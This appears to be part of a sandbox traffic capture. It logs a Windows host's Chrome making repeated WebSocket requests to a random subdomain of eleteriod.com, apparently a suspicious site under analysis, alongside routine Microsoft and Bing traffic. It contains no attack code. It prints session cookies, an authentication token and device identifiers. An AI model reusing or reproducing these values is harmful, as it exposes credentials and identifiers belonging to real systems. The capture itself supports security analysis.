2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-22 18:02:18 UTC	1369	IN	Data Raw: 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.17	59925	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:17 UTC	1301	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l6agz47874.eleteriod.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: LsedKZoIcbErJJT9E6jUMQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-22 18:02:19 UTC	591	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 May 2024 18:02:19 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3MWc059SBsJRl28Z8xxf9O4X%2B2vHukY4XX3VZBhFne8ZCPiydL2SuFOFoODFml30YmzEUXh9FKfASvxf1DguaoRf0%2BEWzUuZblvr0%2BNyY3QiOPDmFFou%2FHMIGdMjEa%2BkF5HK37i3UwxXND4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb7638bf36a58-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:02:19 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-22 18:02:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.17	59926	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:28 UTC	1301	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l6agz47874.eleteriod.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: Q4Eaqzm5qCcAMYL5zpkxyA== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
2024-05-22 18:02:29 UTC	591	IN	HTTP/1.1 400 Bad Request Date: Wed, 22 May 2024 18:02:29 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zUpYJVVmswMltIYKHu3QAU%2BY4306WXWvuZzFkc7W0QvjdHpHWqL%2FMFg6I3AwVoGO8cK7Hz%2BE%2BJ5w30IRa%2Bv9LMCjnG4JHUJztjLjXG0K6AMFxaum9Q0Yww1gEoijsEJDR2wg0w5LA8KX3ew%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 887eb7a62b55188d-EWR alt-svc: h3=":443"; ma=86400
2024-05-22 18:02:29 UTC	40	IN	Data Raw: 32 32 0d 0a 7b 22 63 6f 64 65 22 3a 33 2c 22 6d 65 73 73 61 67 65 22 3a 22 42 61 64 20 72 65 71 75 65 73 74 22 7d 0d 0a Data Ascii: 22{"code":3,"message":"Bad request"}
2024-05-22 18:02:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.17	59927	40.126.32.134	443

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:31 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4788 Host: login.live.com
2024-05-22 18:02:31 UTC	4788	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-05-22 18:02:32 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 22 May 2024 18:01:32 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C529_BAY x-ms-request-id: f2389149-8fe2-4ba4-a828-588bc346644b PPServer: PPV: 30 H: PH1PEPF00011E58 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 22 May 2024 18:02:32 GMT Connection: close Content-Length: 11153
2024-05-22 18:02:32 UTC	11153	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.17	59928	13.107.5.88	443

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:32 UTC	537	OUT	GET /ab HTTP/1.1 Host: evoke-windowsservices-tas.msedge.net Cache-Control: no-store, no-cache X-PHOTOS-CALLERID: 9NMPJ99VJBWV X-EVOKE-RING: X-WINNEXT-RING: Public X-WINNEXT-TELEMETRYLEVEL: Basic X-WINNEXT-OSVERSION: 10.0.19045.0 X-WINNEXT-APPVERSION: 1.23082.131.0 X-WINNEXT-PLATFORM: Desktop X-WINNEXT-CANTAILOR: False X-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd} X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI= If-None-Match: 2056388360_-1434155563 Accept-Encoding: gzip, deflate, br
2024-05-22 18:02:32 UTC	209	IN	HTTP/1.1 400 Bad Request X-MSEdge-Ref: Ref A: F1974A843D5B414CBCE6FE62086070C9 Ref B: EWR311000104039 Ref C: 2024-05-22T18:02:32Z Date: Wed, 22 May 2024 18:02:32 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	59929	2.23.209.182	443

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:33 UTC	2569	OUT	GET /client/config?cc=CH&setlang=en-CH HTTP/1.1 X-Search-CortanaAvailableCapabilities: None X-Search-SafeSearch: Moderate Accept-Encoding: gzip, deflate X-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A} X-UserAgeClass: Unknown X-BM-Market: CH X-BM-DateFormat: dd/MM/yyyy X-Device-OSSKU: 48 X-BM-DTZ: -240 X-DeviceID: 01000A41090080B6 X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66E X-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard Time X-BM-Theme: 000000;0078d7 X-Search-RPSToken: t%3DEwDYAkR8BAAUcvamItSE/vUHpyZRp3BeyOJPQDsAAXdFG2zXJUebwUgguGYWWbHRMsnS%2B4IfSJ9%2BCMd1QcLvOUKxuUSRpoToucJiIKN2Uig6kxTP7vIdH5DZZ1J1cmAGXijsrrU8WEAcKfFtMGb/hlvt6wZ5Xe/5Vnzei%2BbUCV24DETulkPCOkxstvI/Tf5heKDuj7x6JR5SuVsgZp3gqkWaN1cDvwjhfvoTMNtajKUZQb3NKEwFF1S%2Bs6tQxVdHO1AwypUjrjWphX2YWX0qu9WxxlouyEKb1GN/x8pEzxMkNl4YJjo/O709R/jdrqM/z08QQGyTZwb1ssFiu5kMcGRYf17HwRiztous9d%2BeWuGM/UxkYuN6WqtmX%2BqU0lIDZgAACKgQE27m1mYWqAH8eGq7gEmi9vK%2BplDA7hPkTr7Db5xxhKrEmVQDndkmjb30nAOh/N49GoGe0rAdnt0xddy3UFOwx29EbBE68p6nnZRYPPTNMXklCuCxwuPhIIG2SYw8v/LZGbHf8oYpZuSew4Ji1LmNS9LO2qH4qo0q3HUBzX/KNOoj/AA3mkpdwOGrd9O5uiHrGnpPUl5nnA11y70TeZqyFQ9/zi2Io9Z6qsHUc%2BCByhqAPYo8QhbjRbfyG6FqtXWuB6UAWKCauO6HPc93RNQtUnImZt0c3J2wDVOWxUEKBj45BPnEUfSjumszcYxM1yYkVtoecYAlHkY6su8QNH4TWu0Jihg0R7pSPIMh6SlgR6ZB346gKPQ3%2BDKbGakiiqSjUApfEnEcysx%2BgfcCUBf4gb8XgbasTZ25/DWXzlV3iZ82d1bn%2Bgxa%2B0unzgauO1RUx7AWra3u9smmqwt%2BVG/V%2BUO5enr9sajC12nqTJuNTXCrI1NQ3uSu%2B2P7KSVBrlIoswUcKF1JDx5IROBXMCY7AVmebQ422xJl2Esei2YVPY//7X6E6CUxo99vEzLn5Nbu2AE [TRUNCATED] X-Agent-DeviceId: 01000A41090080B6 X-BM-CBT: 1716400950 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.14.7.19041; 10.0.0.0.19045.2006) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 X-Device-isOptin: false Accept-language: en-GB, en, en-US X-Device-Touch: false X-Device-ClientSession: 6A97F568F31A49E68974184EE4BAC773 X-Search-AppId: Microsoft.Windows.Cortana_cw5n1h2txyewy!CortanaUI Host: www.bing.com Connection: Keep-Alive Cookie: SRCHUID=V=2&GUID=C4EAB6C130004333A34B5668AE4E4D10&dmnchg=1; SRCHD=AF=NOFORM; SRCHUSR=DOB=20240207; SRCHHPGUSR=SRCHLANG=en; MUID=4590362BB5CF472B95BBEDB3112D4B7B; MUIDB=4590362BB5CF472B95BBEDB3112D4B7B
2024-05-22 18:02:33 UTC	1147	IN	HTTP/1.1 200 OK Content-Length: 2215 Content-Type: application/json; charset=utf-8 Cache-Control: private X-EventID: 664e333953d240859a577c19e1bb35e2 X-AS-SetSessionMarket: de-ch UserAgentReductionOptOut: A7kgTC5xdZ2WIVGZEfb1hUoNuvjzOZX3VIV/BA6C18kQOOF50Q0D3oWoAm49k3BQImkujKILc7JmPysWk3CSjwUAAACMeyJvcmlnaW4iOiJodHRwczovL3d3dy5iaW5nLmNvbTo0NDMiLCJmZWF0dXJlIjoiU2VuZEZ1bGxVc2VyQWdlbnRBZnRlclJlZHVjdGlvbiIsImV4cGlyeSI6MTY4NDg4NjM5OSwiaXNTdWJkb21haW4iOnRydWUsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0= X-XSS-Protection: 0 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Wed, 22 May 2024 18:02:33 GMT Connection: close Set-Cookie: _EDGE_S=SID=0C93309C101561E50B00241B115060B7&mkt=de-ch; domain=.bing.com; path=/; HttpOnly Set-Cookie: ANON=A=84BEA1DAAAB85FA790252CDAFFFFFFFF; domain=.bing.com; expires=Mon, 16-Jun-2025 18:02:33 GMT; path=/; secure; SameSite=None Set-Cookie: WLS=C=0000000000000000&N=; domain=.bing.com; path=/; secure; SameSite=None Set-Cookie: _SS=SID=0C93309C101561E50B00241B115060B7; domain=.bing.com; path=/; secure; SameSite=None Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.36d01702.1716400953.be0428a
2024-05-22 18:02:33 UTC	2215	IN	Data Raw: 7b 22 76 65 72 73 69 6f 6e 22 3a 31 2c 22 63 6f 6e 66 69 67 22 3a 7b 22 46 65 61 74 75 72 65 43 6f 6e 66 69 67 22 3a 7b 22 53 65 61 72 63 68 42 6f 78 49 62 65 61 6d 50 6f 69 6e 74 65 72 4f 6e 48 6f 76 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 68 6f 77 53 65 61 72 63 68 47 6c 79 70 68 4c 65 66 74 4f 66 53 65 61 72 63 68 42 6f 78 22 3a 7b 22 76 61 6c 75 65 22 3a 74 72 75 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 6f 78 55 73 65 53 65 61 72 63 68 49 63 6f 6e 41 74 52 65 73 74 22 3a 7b 22 76 61 6c 75 65 22 3a 66 61 6c 73 65 2c 22 66 65 61 74 75 72 65 22 3a 22 22 7d 2c 22 53 65 61 72 63 68 42 75 74 74 6f 6e 55 73 65 53 65 61 72 63 68 49 63 6f 6e 22 3a 7b 22 76 61 6c 75 65 Data Ascii: {"version":1,"config":{"FeatureConfig":{"SearchBoxIbeamPointerOnHover":{"value":true,"feature":""},"ShowSearchGlyphLeftOfSearchBox":{"value":true,"feature":""},"SearchBoxUseSearchIconAtRest":{"value":false,"feature":""},"SearchButtonUseSearchIcon":{"value

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.17	59931	188.114.97.3	443	6920	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-22 18:02:38 UTC	1301	OUT	GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1 Host: l6agz47874.eleteriod.com Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Upgrade: websocket Origin: https://l6agz47874.eleteriod.com Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D Sec-WebSocket-Key: CUfZK1E4poc18IHvNngsIQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
